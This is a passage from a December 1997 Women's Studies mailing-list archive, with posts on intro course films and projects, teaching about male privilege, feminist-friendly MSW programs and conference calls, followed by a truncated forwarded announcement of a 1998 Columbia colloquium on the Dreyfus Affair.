do them or the job requirements simply don't ""look like them""? > If you could recommend a few recent references, I could then use their references to take an in-depth look at that side of the issue. > Thank you, in advance, for any help you can give me. > > Mara Wasburn wasburnm@omni.cc.purdue.edu ========================================================================= Date: Sat, 20 Dec 1997 09:17:05 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: films and Intro to WS projects for students In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for suggestions for a film that would provide a vivid, provocative representation of women's institutionalized oppression in its ""interlocking"" layers, for an intro to ws class. I plan to show Still Killing Us Softly, to get the class rolling on discussing sexism, sexist messages etc. And I have films planned that cover specific issues: dieting, violence, etc. I have been racking my brain trying to find a film that would present a more general view of the various layers of institutionalized oppression. I watched the Handmaid's Tale and Stepford wives hoping for a good distopian film, but feel that these are too limited, for various reasons... any suggestions? thanks, Kathy Miriam kmiriam@cats.ucsc.edu ========================================================================= Date: Sat, 20 Dec 1997 09:09:53 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: Intro to WS projects for students Comments: To: Janet Allured In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Some fun projects that I use: collect sexist ads/analyze; make collage with sexist ads/ write over collage or underneath with some text that sums up message analysis of housework/summary as practiced in home of family, past or present I have a different question for list-makers regarding Intro to women's studies: What are your strategies for introducing the concept of power into discussion? In other words, students seem to accept the idea that ads, the media etc, promote specific gender meanings/stereotypes. they even accept that these meanigns are damaging, to both women and men. How do you teach students that men, although damaged in some ways by gender ""roles"" or ""stereotypes"" also benefit? Do you have any effective strategies? I have a good selection of readings (for example, Frye), although I always welcome more suggestions, but I am particularly interested in strategies of discussion, projects, etc for getting across the concept of power--the issue that is most contentious because it implies that men will have to give something up, as well as ""gain"" something (in terms of a more just world, more humane relationships, etc). ditto, all of this, by the way, with respect to discussing white privilege with white students. (anybody have particular success using McIntosh?) thanks in advance, Kathy Miriam kmiriam@cats.ucsc.edu ========================================================================= Date: Sat, 20 Dec 1997 15:59:12 -0500 Reply-To: ""Leah C. Ulansey"" Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: Re: Intro to WS projects for students (male hierarchy/privilege) Comments: cc: ulanseyl@jhunix.hcf.jhu.edu In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII On Sat, 20 Dec 1997, Kathy Miriam wrote: > How do you teach students that men, although damaged in some ways by > gender ""roles"" or ""stereotypes"" also benefit? ... I am particularly > interested in strategies of discussion, projects, etc for getting across > the concept of power--the issue that is most contentious because it > implies that men will have to give something up, as well as ""gain"" > something... > Hi Kathy. I agree with you that this point is crucial and tricky to get across. I've found it helpful in discussion to be very up front about the ways in which elite white males and their (witting or unwitting) representatives (including, alas, some women) exploit and exercise power over other less powerful men (who are then often represented and coded as less masculine, sub-human, or otherwise deviant from the proper male norm). (An Asian-American student of mine just did a paper on the ""demasculinization"" of Asian-American men in American films--it was eye-opening for me.) The painful, ugly hierarchy among men--and women's place in that hierarchy as scapegoats, workhorses, decorations, trophies, doormats, etc.--can be vividly illustrated in many ways (films, anecdotes). When I begin a discussion by talking about the (global, economic and sexual) hierarchy among men, a woman of color in the class will frequently respond by pointing out that even disempowered men can and do oppress their female counterparts in the familiar ways (unpaid or underpaid female labor, domestic violence, sexual oppression). At that point, the vast proportions of the tragedy begin to dawn on the students: the oppressed oppress each other while the real power structure remains unchallenged. Once the discussion gets to this point, the door is opened to discussions of coalitions. I have found it difficult and uncomfortable but rewarding and honest to take discussions to this point. It forces you and the students to define your politics more clearly and I have found that students appreciate this. If you want (and it's not easy), you can also broach another tricky question: why does the power structure go unchallenged, despite the fact that it is a pyramid with a few people (mostly white males and their favored subordinates, pawns and trophies) at the top and large numbers of unpaid or low-paid workers at the bottom? What assumptions make this pyramid seem normal and acceptable? What kinds or aspects of feminism challenge those assumptions? I do think it's important to show that privilege is systemic and not just an individual phenomenon. Suzanne Pharr's essay, ""Homophobia: A Weapon of Sexism,"" has a phrase in it that my students frequently returned to. Who do gender roles serve, she asks. ""Men and the women who seek power from them."" This straightforward expression has the advantage of acknowleging that women (like subordinate men in some ways) can and do have access to patriarchal power and status if they seek that power by working with or pleasing the (elite white) males at the top--serving those men's interests personally and/or professionally. This opens the door to discussion of the compromises and relative merits of ""working within the system"" vs.the advantages of operating from the margins. It can also open the door to discussion of whether women would seek male approval so much if their security did not depend on it and what women might do in various realms of life if male approval were less of a priority. In other words, what would happen (to men, to women, to the world) if more women were in a position to exercise their own autonomous power rather than seek power through the chain of command that leads up to the men at the top? Pharr's essay is great because it gives students ""the big picture"" by connecting economic exploitation, physical violence and rigidly enforced gender codes (homophobia and sex role stereotyping both) as things that the existing power structure can use to sustain itself. Pharr emphasizes that economic greed is not only one of the primary motivations for subordinating and devaluing women; it's also one of the motivations for racism. Some men benefit materially from the exploitation of women; others would probably benefit more from teaming up with women to topple the pyramid, but they are prevented from seeing that by sexism... So, to sum up: I talk a lot about the hierarchy among men while trying at the same time not to forget the reality of male privilege...I hope I haven't wandered too far from your basic question....I'm curious to hear how others approach these issues. Perhaps one project/assignment might be to have students interview men of various ages and ask those men how aware they are of male hierachy, what factors they think determine their place in it, and where, in their opinion, women fit in. Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Sun, 21 Dec 1997 09:08:21 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Rhoda Unger Subject: Re: Feminist Foremothers MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII A good resource for psychology is the December 1991 issue of the Psychology of Women Quarterly which focused on the contributions of women to various aspects of psychology--experimental, developmental, etc. Hope this helps. Rhoda Unger ========================================================================= Date: Sun, 21 Dec 1997 11:13:28 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Carolyn Dipalma (WOS)"" Subject: student projects for Intro to WS MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Those of you interested in the discussion on student projects for Introduction to Women's Studies may also be interested in the following Call for Papers, which asks specifically for classroom applications (this would include student projects). CALL FOR PAPERS TEACHING INTRODUCTION TO WOMEN'S STUDIES: STUDENT EXPECTATIONS AND CLASSROOM STRATEGIES Co-editors: Barbara Scott Winkler West Virginia University, Center for Women's Studies and Carolyn DiPalma University of South Florida, Deptartment of Women's Studies This collection will address the institutional context and social issues in which teaching the women's studies introductory course is embedded and, most importantly, provide readers with practical classroom strategies to meet the challenges raised. The collection will, therefore, serve as a resource and preparatory text for all teachers of Intro. including experienced teachers, less experienced teachers, new faculty, and graduate student teaching assistants. The collection will also be of interest to educational scholars of feminist and progressive pedagogies and innovative practices. Submissions should be centered around one or more of the following topic areas. STUDENT EXPECTATIONS --Student Expectations (ex: degree of student interest, resistance, and motivation; gen. ed. students vs. WS majors; different student knowledge bases, such as engineering or political science or women's studies; diversity issues; perceptions of teaching legitimacy, who can or can't teach what to whom) --Debate and Discussion (ex: public culture/mass media presentations of ""women's topics""; student awareness/experience; classroom civility issues; how to respectfully differ; how to listen to others) --Authority in the Introduction to Women's Studies classroom (ex: ideologies of education; student-centered classroom; differences in resistance and conflict) CLASSROOM STRATEGIES --Teaching Specific Topics (ex: new ways to teach core concepts; new topic development; teaching controversial issues) --Conceiving the Course: Topic Organization (ex: issues given more breadth; issues given more depth; social science vs humanities emphasis; the order in which topics are introduced; specifics such as racism, heterosexism, poverty, class, health, spirituality, images, language, etc.) --Syllabus Creation and Sample Syllabi (ex: sample syllabi with explanatory discussion) All authors should address the particular institutional context and social issues in which their course is located. Submit TWO complete copies: 1) a one-page detailed abstract of your article which describes the topic and your approach, indicates a classroom application, and demonstrates the clarity of both your thinking and writing; 2) a two-page curriculum vitae, including pertinent paper and publication information, and email address and fax number (if available), by February 1, 1998. Notification of selected abstracts will be made by April 1, 1998. Completed articles for further review will be required by May 31, 1998. Send (via snail mail only) one copy each to: Barbara Scott Winkler Carolyn DiPalma 236 Waitman St. University of South Florida Morgantown, WV 26505 Department of Women's Studies 4202 E. Fowler Ave., HMS 413 Tampa, FL 33620 *********************************************************************** * Carolyn DiPalma, Ph.D. email: cdipalma@luna.cas.usf.edu * * Assistant Professor phone: 813-974-0979 * * Department of Women's Studies fax: 813-974-0336 * * 4202 East Fowler Ave., HMS 413 * * University of South Florida * * Tampa, FL 33620-8350 * *********************************************************************** ========================================================================= Date: Mon, 22 Dec 1997 14:13:57 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: feminist-friendly MSW programs In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Can anyone recommend to me the names of some good feminist-friendly master's programs in social work? I'm particularly interested in family therapy, domestic violence and eating disorders. (Reply privately or to the list.) Thanks! Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Mon, 22 Dec 1997 11:19:57 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: man bashing and Intro to WS projects for students In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have another question for list-members as I prepare my intro class: do you have any effective strategies for defusing and/or problematizing the ""man bashing"" charge in women's studies classes, particularly intro classes? thanks in advance, Kathy Miriam kmiriam@cats.ucsc.edu ========================================================================= Date: Mon, 22 Dec 1997 13:39:49 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Stacey Robertson Subject: Intro to WS Projects MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi all, Thought I would use this topic as an excuse to share my encouraging experience with women's studies projects and to thank those of you who made suggestions earlier this semester. I did projects for the first time this semester, and the results amazed me. I put them in groups of about five. The instructions were very broad. I allowed them to do projects based on any one of the topics of the class (sexuality; women's rights movements; beauty, health, and fitness; reproduction/abortion; domestic and sexual violence; tv & movies; and work), and I encouraged them to be creative. I told them they would be graded on how well they addressed the issues of gender and power; how much credible and well researched information they were able to convey; their organization; and their presentation. The project was worth 25% of their total grade, and I divided that up a bit based on suggestions of WMST-L people. I made 15% my grade for the group, 5% their self evaluation, and 5% their peers' evaluation. Their self evals and peer evals were terrific. I think perhaps I should have joined both the peer and self evals, however, and made it 10%. Anyway, the projects were terrific. There was no overlap in terms of the topics they chose (amazingly). Some of the topics included gender and TV commercials; the image of Black women in the media; gender and horror films; sexual violence; domestic violence; and eating disorders. They did video interviews with students, conducted surveys, and did lots of research. They structured their presentations creatively, including a TV news format; dramatic readings; audience participation; etc. The projects tended to be both analytical and also personal. I am convinced that they not only learned a great deal from their projects, they really felt like they were participating in the process of education--and it became more meaningful to them. Thanks to the people who offered specific suggestions about how to do peer and self evals. Best, Stacey Robertson Assistant Professor, History Department Director, Women's Studies Program Bradley University Peoria IL 61625 309/677-3538 smr@bradley.edu ========================================================================= Date: Mon, 22 Dec 1997 16:45:23 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Christine Smith Subject: Re: man bashing and Intro to WS projects for students MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT In any of my women's Studies classes, we discuss what it means to ""male bash."" I generally give the example, """"If I say that 1 in 4 women will be raped by a man, is that male bashing?"" Almost universal nos. ""If I say all men are rapists, is that male bashing?"" Almost universal yeses. Then we talk about patriarchy,and male privilege. We also discuss how patriarchal culture is one big ""female Bash"" but few people seem to be complaining about that. And how saying that women's studies classes are a bunch of ""male bashing sessions"" is a way of dismissing women's studies and stigmatizing it. And trivializing it. Instead of recognizing the rigorous academic work we do, we are reduced to bitching about men and talking about our periods. A big problem I run into is that students will often agree that women are oppressed, but that men are oppressed too (because they are stigmatized if they cry, for example). I refer to Marilyn Frye's article ""oppression"" for this one. I do find hate women often become very angry at men and can make some really negative comments about men. I validate their anger, but discuss hating patriarchy versus hating men. And I encourage them to channel that anger into something proactive. Christine Smith Lewis & Clark College casmith@lclark.edu csmith@axpvm1.cis.pitt.edu ========================================================================= Date: Mon, 22 Dec 1997 17:06:15 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Christine Smith Subject: Re: Intro to WS Projects MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Hey, amy as well too my own horn too!:) I taught Intro to Women's Studies last semester. I had them do 2 projects, both of which were very well received. The first was a ""3 generations"" project. they had to interview 3 women from 3 different generations (I defined that as at least 10 years apart). They formulated the questions based on class materials. They could pick a theme (such as body image) or ask a variety of questions. Students LOVED this. Many (not all) interviewed family members) and really learned alot. Most went well over the number of suggested pages (6-8). The final project was to create a zine. A zine is a do-it-yourself magazine. I brought in examples for those who didn't know. The could work in pairs or individually. I encouraged creativity and variety. Again, they could do one topic or be more general (as long as it related to women). I was VERY impressed with the results. One student used heres as a way of coming out, a returning monm struggling with the job market did here's on women's work, a pair did a womenderful one on women's spirituality,... Aside from projects, I tried to encourage them to be active in the class. We had women's poetry day, and everyone brought in a poem or 2 written by a woman (some brought in poems they wrote). I talked about 3rd wave feminism and why college women were perceived as apathetic. Students started doing all sorts of proactive things after that (some joined NOW, worked on getting lighting on campus, wrote letters to the editor of the campus newspaper). After showing ""Not a Love Story,"" women were really shaken. They decided to vent their anger on a local store that sold porn. I don't necessarily condone what they did, but I was very pleased that they reacted actively. chris casmith@lclark.edu csmith@axpvm1.cis.pitt.edu ========================================================================= Date: Mon, 22 Dec 1997 17:07:18 EST Reply-To: Women's Studies List Sender: Women's Studies List Comments: Converted from OfficeVision to RFC822 by PUMP V2.2X From: ""Linda Lopez McAlister, SWIP-L Moderator"" Subject: Film Review Added: Amistad On Saturday, December 19 I reviewed ""Amistad"" on on ""The Women's Show"" on WMNF-FM (88.5), in Tampa, FL. It is available fro the Film Filelist. To obtain a copy of the article send the following command to listserv@umdd.umd.edu: GET FILM REV224 FILM To obtain a list of all the files available (film reviews and articles) send a message to the same listserv that says: INDEX FILM To get more than one item, put each command on a separate line: GET FILM REV6 FILM GET FILM REV14 FILM GET FILM ART001 FILM These reviews may also be obtained from the Web at URL: http://www.inform.umd.edu/EdRes/Topic/WomensStudies/FilmReviews/ but there may be a considerable delay in their being put up on the web site. The opinions expressed in these reviews were mine when I wrote the review and represent one woman's opinion at a particular time.We have over 3000 subscribers to WMST-L so there are probably 2999 other views. If you would like to share yours, please do NOT do so on the WMST-L itself, but send your messages to me personally at the addresses below. I have appreciated the feedback I've received. Thanks. Linda ********************************************* Linda Lopez McAlister, Editor, HYPATIA; Listowner SWIP-L; Chair Dept. of Women's Studies, University of South Florida, Tampa. Tel. 813-974-0982/FAX 813-974-0336/mcaliste@chuma.cas.usf.edu ========================================================================= Date: Mon, 22 Dec 1997 17:26:45 EST Reply-To: Women's Studies List Sender: Women's Studies List Comments: Converted from OfficeVision to RFC822 by PUMP V2.2X From: ""Linda Lopez McAlister, SWIP-L Moderator"" Subject: Film Article Added A couple of months ago I placed an article that I had written about ways in which three feminist filmmakers depict violence against women in their films. It's FILM ART001 on the WMST-L's FILM FILELIST. I've just added a second article titled ""Women in Hollywood Films of the '90s: The Age of Comeuppance."" This piece was written for a trinational conference on The North American Woman in the 1990s held in Mexico City in October, 1996. There were other papers on women in film in the 1990s by Canadian and Mexican authors. In this piece I try to extend Molly Haskell's practice of character- izing each decade, as she did in From Reverence to Rape. Since that book ends with the late 1980s, I look back over the reviews I've done for ""Women and Film"" on ""The Women's Show"" since 1990 and try to do the same for this decade. You may get a copy of this article just the same way you get a film review: Send the command GET FILM ART002 FILM to LISTSERV@umdd.umd.edu. Linda Lopez McAlister Happy Holidays! ********************************************* Linda Lopez McAlister, Editor, HYPATIA; Listowner SWIP-L; Chair Dept. of Women's Studies, University of South Florida, Tampa. Tel. 813-974-0982/FAX 813-974-0336/mcaliste@chuma.cas.usf.edu ========================================================================= Date: Mon, 22 Dec 1997 20:15:23 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: feminist-friendly MSW programs Comments: To: ""Leah C. Ulansey"" In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The George Washington University has a feminist-friendly Master's degree program in anthropology. They're in Washington, D.C. Ruby Rohrlich rohrlich@gwis2.circ.gwu.edu ========================================================================= Date: Mon, 22 Dec 1997 21:17:03 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Christine Smith Subject: Re: feminist-friendly MSW programs MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT the MSW program at IUPUI (Indiana University-Purdue University, Indianapolis) is quite feminist friendly. At least one of their faculty (Marion Wagner) is a long-time feminist activist. Every year the NOW chapter in Indy has an intern from that program. Chris Smith casmith@lclark.edu csmith@axpvm1.cis.pitt.edu ========================================================================= Date: Tue, 23 Dec 1997 08:58:56 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: WMST L: films and Intro to WS projects for students (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII DOES ANYONE HAVE THE CITATION AND/OR ORDERING INFO ON THIS FILM? THANKS, Kathy Miriam kmiriam@cats.ucsc.edu ---------- Forwarded message ---------- Date: 23 Dec 97 11:34:29 EST From: SJACOBSO@acspr1.acs.brockport.edu To: kmiriam@CATS.UCSC.EDU Subject: re: WMST L: films and Intro to WS projects for students there is a great film from the National Film Board of Canada called the The Gods of Our Fathers -- I dont have the complete citation information available but i show it in my intro classes and in my sex and culture class and in my women and leisure class -- even thought it is a canadaia film it is a global perspective on the patriarchy and power. -- ************************************************************* Honesty is more than just not being dishonest. It is an active choice to be responsible for the choices we make before we act upon them so that we can stand up for them and not be tempted to be dishonest. Sharon Jacobson, Ed. D. SUNY Brockport Women's Studies Program sjacobso@acspr1.acs.brockport.edu ************************************************************************* ========================================================================= Date: Tue, 23 Dec 1997 09:07:33 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Kathy Miriam Subject: Re: WMST L: films and Intro to WS projects for students (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Whoops, sorry, I just found the info! Kathy On Tue, 23 Dec 1997, Kathy Miriam wrote: > DOES ANYONE HAVE THE CITATION AND/OR ORDERING INFO ON THIS FILM? > > THANKS, > Kathy Miriam > kmiriam@cats.ucsc.edu > > ---------- Forwarded message ---------- > Date: 23 Dec 97 11:34:29 EST > From: SJACOBSO@acspr1.acs.brockport.edu > To: kmiriam@CATS.UCSC.EDU > Subject: re: WMST L: films and Intro to WS projects for students > > there is a great film from the National Film Board of Canada called the > The Gods of Our Fathers -- I dont have the complete citation information > available but i show it in my intro classes and in my sex and culture > class and in my women and leisure class -- even thought it is a canadaia > film it is a global perspective on the patriarchy and power. > > -- > ************************************************************* > Honesty is more than just not being dishonest. It is an active choice > to be responsible for the choices we make before we act upon them so > that we can stand up for them and not be tempted to be dishonest. > Sharon Jacobson, Ed. D. > SUNY Brockport > Women's Studies Program > sjacobso@acspr1.acs.brockport.edu > ************************************************************************* ========================================================================= Date: Tue, 23 Dec 1997 17:41:00 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Holman Weisbard Subject: National Feminist Grad. Student Conference in Madison, WI Comments: To: CONSORT@RELAY.ADP.WISC.EDU Please forward to other lists: 12th ANNUAL NATIONAL FEMINIST GRADUATE STUDENT CONFERENCE: ""Feminist Perspectives: Arts, Media, Activism."" February 5-8, 1998 Madison, Wisconsin The Conference Sessions (with the exception of the special events) will be held at the Teacher Education Building, University of Wisconsin, Madison 225 N. Mills, Madison. Preliminary Schedule of Events: Thursday, February 5 1:00-5:00: Registration; TBA workshop; Art Display; Jam Session *************************************************************** 5:00-7:00: Keynote Performance Peggy Choy & Fred Wei-Han Ho Peggy Choy, a nationally acclaimed performer and University of Wisconsin dance professor, engages issues of third world feminist resistance and border-crossing in her work. Choy's piece, ""Ki-ache: Stories from the Belly,"" recently premiered in New York, and she has been profiled in Ms. magazine. Fred Wei-Han Ho will compose the music with which he will accompany Choy. One of Asian America's premier artistic talents, Ho is a baritone saxophonist, a prolific composer, political activist, and leader of The Afro Asian Music Ensemble and The Journey Beyond the West Orchestra. He draws on African-American and traditional Chinese music and critically bridges the gap between ""high"" and ""low"" musical expression. LOCATION: Playcircle Theatre, Memorial Union, 800 Langdon Street, (608) 265-30000. *************************************************************** Friday, February 6 8:30-5:15 pm Session 1: Icons: Power, Sexuality, Fascination Session 2: Acting Out: Women's involvement in late 18th century/19th century political movements Session 3: Making the Connection: Second Wave Feminism and Its Legacy Session 4: Support Services and Violence Against Women Session 5: Visual Femininity Session 6: Lecture Recital: A Topic in African-American Music Session 7: *Mujeres de la Raza*. Gender and Political Activism in Academia: Inquiries and Creations Session 8: LOOKING IN/PUSHING OUT: Autobiography and Theory *************************************************************** 7:00-9:00 Keynote speaker followed by a Reception Loretta Ross ""Human Rights Challenges to Global Feminisms."" Loretta Ross is Executive Director of the Center for Human Rights Education. A life-long activist for women's rights, Loretta Ross has been Program Director for the National Black Women's Health Project, Director of Women of Color Programs for the National Organization of Women, and has organized ground- breaking conferences on issues affecting Women of Color and Third World women. LOCATION: Grainger Hall, Room 1100, 975 University Avenue *************************************************************** Saturday, February 7 8:30-12:00 Session 9: Rethinking Feminist Dialogue Session 10: Early 2oth Century Authorship Session 11: Film and Gender Session 12: Workshop: ""Disability, Activism, and Academe. *************************************************************** 12:00-1:30 Special luncheon with Keynote Speaker: Tammy Baldwin, Wisconsin State Representative Tammy Baldwin, an out lesbian, is and has been a vocal supporter of women's, lesbian and gay, and other social justice issues as a Wisconsin State Representative. She is running for U.S. Congress. *************************************************************** 1:45-5:00 Session 13: Performative Paper: ""Lesbian Corporeality and Visibility"" Session 14: Video: ""Sugar and Spice"" Session 15: Motherhood and Legislation Session 16: Obedience, Training, Agency 5:00-7:00 Art Installation opening, Reception 7:00 Play: ""Inside Out"" by Timberlake Wertenbaker"" Sunday, February 8 9:00 Breakfast with leading UW Madison feminist faculty *************************************************************** The Event is CO-SPONSORED by the Multicultural Center of the University of Wisconsin-Madison, the Havens Center, the Women's Studies Center, the Women's Studies Research Center, the Asian American Studies Program and the Department of History. The special events with the key note speakers and performers are free and open to the public. PRE-REGISTRATION: No registration fee will be charged, but the payment of a $35 FOOD FEE is strongly encouraged for your dining convenience. It is due by 1/10/98. Payment of the food fee will entitle you to coffee, snacks, a box lunch on Friday, a buffet lucheon on Saturday, and Sunday breakfast. Vegetarian and vegan concerns have been taken into consideration; those with other dietary issues should contact Maya Gibson at mcgibso1@facstaff.wisc.edu (after January 14th 1998). Please make your CHECK out to ""Femgrad Students 12th Annual NFGS Conf"" and send it to: National Feminist Graduate Student Conference c/o Women's Studies Research Center 107 Ingraham Hall 1155 Observatory Drive Madison, Wisconsin 53706 DO YOU LIVE IN MADISON? We are looking for Madisonians who would volunteer free sleeping spaces for conference participants! Please send Shannon Green email at greensl@juno.com for information forms. HOUSING and DIRECTIONS: For specific questions on directions or information on accomodations, please contact Shannon Green greensl@juno.com. . For further questions please contact before January 5, 1998 Kathrina Zippel at kzippel@ssc.wisc.edu. After January 5, 1998, please contact Christina Baade at clbaade@students.wisc.edu or send a letter to the address above. ========================================================================= Date: Thu, 25 Dec 1997 19:02:06 +1200 Reply-To: Women's Studies List Sender: Women's Studies List From: Lynne Alice Subject: NWSA 1998 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Would someone please send me (privately) a copy of the CFP for the 1998 NWSA conference. Thanks. Lynne Alice alice@mail.manawatu.gen.nz Foxton Beach__Raukawa country__mouth of the Manawatu River__toheroa__whitebaiting__blue heron__flax__dunes__Simply Balmy cafe__wildflowers__sunshine__Email : alice@manawatu.gen.nz ========================================================================= Date: Thu, 25 Dec 1997 13:46:43 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Brian A. Bremen"" Subject: WCW and HD Comments: To: calls@eng.hss.cmu.edu, modernism@u.washington.edu, t-amlit@list.cren.net Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" CALL FOR CONTRIBUTERS The Fall 1998 issue of the William Carlos Williams Review will be a special issue exploring the relationships between HD (Hilda Doolittle) and William Carlos Williams. Interested contributers should submit articles (@25 pp.) by MARCH 1ST to: Glen MacLeod English Department University of Connecticut at Waterbury 32 Hillside Avenue Waterbury, Connecticut 06710 Brian A. Bremen, editor William Carlos Williams Review Department of English The University of Texas at Austin Austin, Texas 78712-1164 e-mail: bremen@curly.cc.utexas.edu Phone: 512-471-7842 Fax: 512-471-4909 ========================================================================= Date: Fri, 26 Dec 1997 09:31:47 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Margo Okazawa-Rey Subject: feminist friendly MSW program Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" try the MSW Program at San Francisco State. Margo ========================================================================= Date: Mon, 29 Dec 1997 14:06:30 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Lori Patterson Subject: Sage: journal MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Does anyone know how I can get my hands on a copy of Sage: a Scholarly journl for African American women? I see it on databases and in the women's studies abstracts but my university doesn't carry it. Thank Lori ========================================================================= Date: Mon, 29 Dec 1997 23:01:41 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Karen Hales Mecham Subject: Re: Sexual Harassment Conference Announcement In-Reply-To: <2.2.32.19971203040049.00731864@tushnet.mail.yale.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Rebecca, Please forward information re: Sexual Harassment Symposium, Feb. 27-March 1. I am very interested in attending the meeting. Please forward information re: registration, hotels, transportation, etc. to me at: khmecham@artsci.wustl.edu Thank you, Karen Hales-Mecham Karen Hales-Mecham Khmecham@artsci.wustl.edu",0,1 khealey@sas.upenn.edu,frenchgrads@ccat.sas.upenn.edu,"Mon, 08 Dec 1997 13:56:51 -0500",Dreyfus in NY,"> > COLUMBIA UNIVERSITY, NEW YORK > DEPARTMENT OF FRENCH AND CENTER FOR FRENCH AND FRANCOPHONE STUDIES > > > > INTERNATIONAL COLLOQUIUM/COLLOQUE INTERNATIONAL > > THE DREYFUS AFFAIR : MEMORY AND HISTORY IN FRANCE AND USA > L'AFFAIRE DREYFUS : M�MOIRE ET HISTOIRE EN FRANCE ET AUX ETATS-UNIS > > February 13-14-15, 1998 > > ORGANIZATION/ORGANISATION : > > Henri MITTERAND, Professeur, Department of French and Romance Philology, Columbia University ; President of the Soci�t� litt�raire des Amis d'Emile Zola. > Jean-Yves MOLLIER, Professeur, D�partement d'Histoire, Universit� de Versailles-St-Quentin en Yvelines ; membre fondateur de la Soci�t� Internationale d'Histoire de l'affaire Dreyfus. > > COORDINATION : Colette FOSSEZ, Department of French and Romance Philology, and Christophe IPPOLITO, Maison fran�aise. > > > > > > The colloquium is made possible thanks to the generous support of the Sterling Currier Fund, the Florence Gould Foundation, the French Ministry of External Affairs, the French Cultural Services of the French Ambassy , the Beitler Foundation and the Gra du > ate School of Architecture. > > > > THE DREYFUS AFFAIR > MEMORY AND HISTORY IN FRANCE AND IN THE USA > > This colloquium is organized to commemmorate the centennial of ""J'Accuse"" and the Zola trial (February 7-23, 1898). > > The publication of ""J'Accuse"" by Emile Zola in the newspaper L'Aurore of January 13, 1898 played a decisive role in the revision of the trial which had condemned, in 1894, without proof whatsoever, Captain Alfred Dreyfus to reclusion and deportation fo r > life. Zola accused the military jurors to have condemned an innocent man and to have acquitted by order, on January 11, 1898, the true culprit, Commandant Esterhazy. The article set on fire the French public opinion, divided between partisans and adver sa > ries of the revision. > > Zola himself was prosecuted for defamation by the Ministry of War and tried by the ""Cour d'Assises de Paris"", from February 7 to 23, 1898. He was condemned to one year in prison and to a fine of 3000 French francs. He fled France and took refuge in Lo nd > on until the ""Cour de Cassation"" broke the 1894 verdict and agreed with the author of ""J'Accuse"". Dreyfus was liberated in September of 1899 and rehabilitated in 1906. Zola's intervention had changed the course of the Affair. > > This colloquium aims to look at the actual tendencies of research on the Dreyfus Affair, to study the aspects of anti-Semitism at the end of the 19th century, and to ponder on the repercurssions and the echoes of the Affair today. > > COMITY OF HONOR : > > George RUPP, President of Columbia University (ex officio) > Patrick GAUTRAT, Consul G�n�ral de France � New York > Pierre BUHLER, Conseiller Culturel � l'Ambassade de France > Elie WIESEL, writer, Nobel Prize > > University Professors Louis HENKIN (Columbia Law School, Michael RIFFATERRE (Department of French and Romance Philology, Columbia University) > Professors R.Howard BLOCH (Yale University), Robert PAXTON (Columbia University) > > For the duration of the colloquium, there will be an exhibit of documents on the Dreyfus affair. This collection of documents has been kindly lent to us by the Beitler Foundation (Edgewater, New Jersey) and will be on display in the Arthur Ross Arc hi > tecture Gallery of Buell Hall. > > > -Department of French -Soci�t� Internationale d'Histoire > -Center for French and de l'Affaire Dreyfus > Francophone Studies -Soci�t� Litt�raire des Amis > d'Emile Zola > > > INTERNATIONAL COLLOQUIUM/COLLOQUE INTERNATIONAL > > THE DREYFUS AFFAIR : MEMORY AND HISTORY IN FRANCE AND USA/L'AFFAIRE DREYFUS : M�MOIRE ET HISTOIRE, EN FRANCE ET AUX ETATS-UNIS > > > Friday-Sunday, February 13-15, 1998 > > > > > > FRIDAY, FEBRUARY 13 MORNING SESSION > > 8:30 Registration/Inscriptions > > 9:00 Welcome Address/Allocution de bienvenue : Jonathan R.COLE, Provost, Columbia University > > 9:10 Opening Remarks/Avant-propos : Pierre FORCE, Chair, Department of French and Romance Philology, Columbia University > > 9:20 Pr�sentation du colloque/ Presentation of the colloquium : Henri MITTERAND, Department of French and Romance Philology, Columbia University > > > Les Proc�s de l'Affaire Dreyfus et leurs suites/The Dreyfus Affair Trials and Their Repercussions > > I President : Priscilla FERGUSON, Columbia 